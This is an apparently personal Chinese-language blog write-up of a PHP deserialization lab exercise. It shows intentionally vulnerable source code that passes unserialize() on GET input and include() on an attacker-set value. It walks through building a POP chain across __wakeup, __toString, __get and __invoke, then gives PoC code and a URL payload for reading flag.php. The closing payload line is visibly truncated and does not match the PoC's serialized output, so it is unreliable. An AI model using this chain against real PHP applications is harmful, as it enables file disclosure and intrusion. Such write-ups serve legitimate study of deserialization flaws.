記一次php反序列化漏洞中的POPchain和POC構造實戰

Tperm發表於2024-04-09

來自於橙子科技反序列化靶場

原始碼如下:

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

第一步:找鏈尾

我們的目的是得到flag,直接找flag這個關鍵詞,發現:

class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

注意echo $flag;,根據提示,flag存在於flag.php中,那我們需要做的是將這個檔案include進來;
注意到include($value);顯然這裡的$value需要賦值為flag.php。完成這一步的前提是觸發append函式。接下來的問題是,如何觸發append函式。

第二步:如何觸發append函式

向下尋找,發現__invoke魔術方法,這個魔術方法的觸發條件是物件被當成函式一樣呼叫,這樣的話就會將var作為append的參量並觸發append函式。

第三步:如何觸發__invoke()函式

既然是要求物件被當成函式一樣呼叫,納悶我們就要找類似於_fun() _這樣的東西。繼續看程式碼,發現:

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

在__get方法中,有return $function();我們只要將$function的值賦為類Modifier的一個例項即可觸發類Modifier中的__invoke方法。

第四步:如何觸發__get()方法

瞭解到__get()魔術方法是用於從不可訪問的屬性讀取資料,簡單說來就是當程式呼叫類裡面不存在的物件的時候會呼叫__get()方法。還是繼續看程式,最好是找有連續呼叫的地方,方便我們進行賦值。注意到:

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

其中line5中,出現了連續呼叫return $this->str->source;我們可以將$str的值賦為類Test的一個例項,顯然類Test中沒有source物件,這樣的話就能觸發類中的__get方法了。

第五步:如何觸發__toString()方法

__toString() 把類當作字串使用時觸發,返回值需要為字串。
還是在原始碼裡面開找,找和字串相關的語句。發現:

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

其中__wakeup()方法中,echo $this->source;。只要我們將source的值賦為類Show的一個例項即可呼叫類Show中的__toString()方法。

第六步(鏈首):如何觸發__wakeup()方法

最簡單的一集,使用unserialize()時觸發

使用反推法整理完這六步之後,下面開始構造POC
首先對原始碼進行處理,如下:

<?php
class Modifier {
    private $var;
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
?>

刪去不必要的方法和語句。
然後進行popchain構造。

<?php
class Modifier {
    private $var="flag.php";
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
$mod=new Modifier();
$show=new Show();
$test=new Test();

$test->p=$mod;
$show->str=$test;
$show->source=$show;
echo serialize($show);
?>

得到payload
?pop={s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

相關文章